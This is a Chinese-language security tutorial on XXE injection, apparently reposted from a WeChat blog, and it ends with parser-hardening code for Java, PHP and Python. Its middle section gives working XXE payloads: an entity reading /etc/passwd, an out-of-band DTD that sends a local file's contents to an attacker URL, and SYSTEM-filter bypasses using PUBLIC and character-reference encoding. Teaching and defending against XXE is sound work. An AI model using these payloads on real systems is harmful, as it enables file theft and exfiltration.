【渗透知识】XXE注入

admin 2025年2月14日23:56:47评论8 views字数 6803阅读22分40秒阅读模式
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不承担任何法律及连带责任。
简介 ]

XXE注入

在XML中可以在DTD部分定义实体,而实体分为两类:内部实体(在定义的时候直接进行赋值)、外部实体(使用SYSTEM关键字标记,值从外部获取),由于在引用外部实体时没有对限制导致攻击者可以利用外部实体注入恶意数据

漏洞信息

混子Hacker     

01

XML简介

一、XML的基本结构

XML是一种可扩展标记语言类似HTML,常用于数据的存储和传输,由于XML是一种结构化的语言使得其可以在不同系统之间实现数据共享,其结构基本如下

包括了声明、DTD、文档元素

在DTD部分可以定义外部实体和内部实体,实体可被多次引用

【渗透知识】XXE注入

二、实体的定义

内部实体

<!ENTITY 实体名 实体值>来对一个实体进行定义,而在这里实体的值可以直接进行赋值如

<!ENTITY note"内部实体">

外部实体

使用SYSTEM标识从外部获取如下从从文件读取内容赋值给note

<!ENTITY noteSYSTEM"file:///etc/passwd">

三、XML解析

import org.w3c.dom.Document;import org.w3c.dom.Element;import org.w3c.dom.Node;import org.w3c.dom.NodeList;import org.xml.sax.SAXException;import javax.xml.parsers.DocumentBuilder;import javax.xml.parsers.DocumentBuilderFactory;import javax.xml.parsers.ParserConfigurationException;import java.io.*;//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.publicclassMain {public static void main(String[] args) throws ParserConfigurationExceptionIOExceptionSAXException {        xml_demo();    }public static void xml_demo() throws ParserConfigurationExceptionIOExceptionSAXException {        // 创建DocumentBuilderFactory        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();        // 创建DocumentBuilder        DocumentBuilder builder = factory.newDocumentBuilder();        // 解析XML文件        Document document = builder.parse(new File("demo.xml"));        // 获取根元素        Element root = document.getDocumentElement();        System.out.println("Root element: " + root.getNodeName());        // 遍历子元素        NodeList nodeList = root.getChildNodes();        for (int i = 0; i < nodeList.getLength(); i++) {            Node node = nodeList.item(i);            if (node.getNodeType() == Node.ELEMENT_NODE) {                Element element = (Element) node;                System.out.println("Element: " + element.getNodeName());                System.out.println("Value: " + element.getTextContent());            }        }    }}

demo.xml

【渗透知识】XXE注入

运行之后如下

【渗透知识】XXE注入

混子Hacker

02

漏洞成因

一、漏洞验证

由于在引用外部实体时没有对限制导致攻击者可以利用外部实体注入恶意数据

如下xml读取系统文件

【渗透知识】XXE注入

运行之后如下

【渗透知识】XXE注入

二、无回显利用

无回显的情况下无法得到结果,需要利用带外的形式携带结果访问链接获取

先在攻击机下创建一个恶意的dtd文件

<!ENTITY % fileSYSTEM"file:///D:/SoftWare/python/Server/demo.txt"><!ENTITY % int"<!ENTITY send SYSTEM 'http://127.0.0.1/?p=%file;'>">%int;

在xml中利用外部实体访问该dtd

<?xml version="1.0"?><!DOCTYPE fooSYSTEM"http://127.0.0.1/demo.dtd"><foo>&send;</foo>

运行之后网站收到数据

【渗透知识】XXE注入
【渗透知识】XXE注入

不同语言支持的协议不同

【渗透知识】XXE注入

三、SYSTEM过滤绕过

1、PUBLIC关键字替换

SYSTEM被过滤的情况下可以尝试使用PUBLIC关键字替换

xml文件

<?xml version="1.0"?><!DOCTYPE fooPUBLIC"public-id""http://127.0.0.1/demo.dtd"><foo>&send;</foo>

外部恶意的dtd文件

<!ENTITY % fileSYSTEM"file:///D:/SoftWare/python/Server/demo.txt"><!ENTITY % int"<!ENTITY send SYSTEM 'http://127.0.0.1/?p=%file;'>">%int;

2、编码绕过

xml内容如下

<?xml version="1.0"?><!DOCTYPE foo  [        <!ENTITY % xml"&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#37;&#32;&#100;&#101;&#109;&#111;&#116;&#101;&#115;&#116;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#49;&#50;&#55;&#46;&#48;&#46;&#48;&#46;&#49;&#47;&#100;&#101;&#109;&#111;&#46;&#100;&#116;&#100;&#34;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#37;&#100;&#101;&#109;&#111;&#116;&#101;&#115;&#116;&#59;">        %xml;        ]><foo>&send;</foo>

使用了实体嵌套和实体编码,编码内容解码如下

<!ENTITY % demotestSYSTEM"http://127.0.0.1/demo.dtd">        %demotest;

外部dtd如下

<!ENTITY % fileSYSTEM"file:///D:/SoftWare/python/Server/demo.txt"><!ENTITY % int"<!ENTITY send SYSTEM 'http://127.0.0.1/?p=%file;'>">%int;
【渗透知识】XXE注入

混子Hacker

03

漏洞防护

禁用外部实体

一、JAVA修复

DocumentBuilderFactory修复

DocumentBuilderFactorydbf= DocumentBuilderFactory.newInstance();StringFEATURE=null;        FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";        dbf.setFeature(FEATURE, true);        FEATURE = "http://xml.org/sax/features/external-general-entities";        dbf.setFeature(FEATURE, false);        FEATURE = "http://xml.org/sax/features/external-parameter-entities";        dbf.setFeature(FEATURE, false);        FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";        dbf.setFeature(FEATURE, false);        dbf.setXIncludeAware(false);        dbf.setExpandEntityReferences(false);DocumentBuilderdocumentBuilder= dbf.newDocumentBuilder();

DomParser 修复

DOMParserdomParser=newDOMParser();domParser.setAttribute(DOMParser.EXPAND_ENTITYREF,false);domParser.parse(newFileInputStream(newFile("poc.xml")));

SaxBuilder 修复

Filefile=newFile("src/main/java/xxe/poc_bind.xml");SAXBuildersb=newSAXBuilder();sb.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);sb.setFeature("http://xml.org/sax/features/external-general-entities",false);sb.setFeature("http://xml.org/sax/features/external-parameter-entities",false);sb.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",false);

SAXParserFactory 修复

SAXParserFactoryspf=SAXParserFactory.newInstance();spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);spf.setFeature("http://xml.org/sax/features/external-general-entities",false);spf.setFeature("http://xml.org/sax/features/external-parameter-entities",false);spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",false);Filefile=newFile("poc.xml");SAXParserparser=spf.newSAXParser();parser.parse(file,(HandlerBase)null);

SAXReader 修复

Filefile=newFile("poc.xml");SAXReadersaxReader=newSAXReader();saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);saxReader.setFeature("http://xml.org/sax/features/external-general-entities",false);saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities",false);saxReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",false);saxReader.read(file);

SAXTransformerFactory

SchemaFactoryfactory= SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");Filefile=newFile("src/main/java/xxe/poc.xml");factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");StreamSourcesource=newStreamSource(file);Schemaschema= factory.newSchema(source);

SchemaFactory

SchemaFactoryfactory=SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");Filefile=newFile("src/main/java/xxe/poc.xml");factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,"");factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA,"");StreamSourcesource=newStreamSource(file);Schemaschema=factory.newSchema(source);

XMLInputFactory

XMLInputFactoryxmlInputFactory= XMLInputFactory.newFactory();xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);Filefile=newFile("poc.xml");

二、PHP修复

<?php// 禁用外部实体加载libxml_disable_entity_loader(true);// 加载 XML 文件$xml = file_get_contents('example.xml');// 解析 XML$dom = new DOMDocument();$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);// 处理 XML 数据echo $dom->saveXML();?>

三、PYHOTN修复

from lxml import etree# 禁用外部实体加载parser = etree.XMLParser(resolve_entities=False, no_network=True)

<<<  END >>>

原创文章|转载请附上原文出处链接

更多漏洞|关注作者查看

作者|混子Hacker

原文始发于微信公众号(混子Hacker):【渗透知识】XXE注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月14日23:56:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透知识】XXE注入https://cn-sec.com/archives/3740805.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息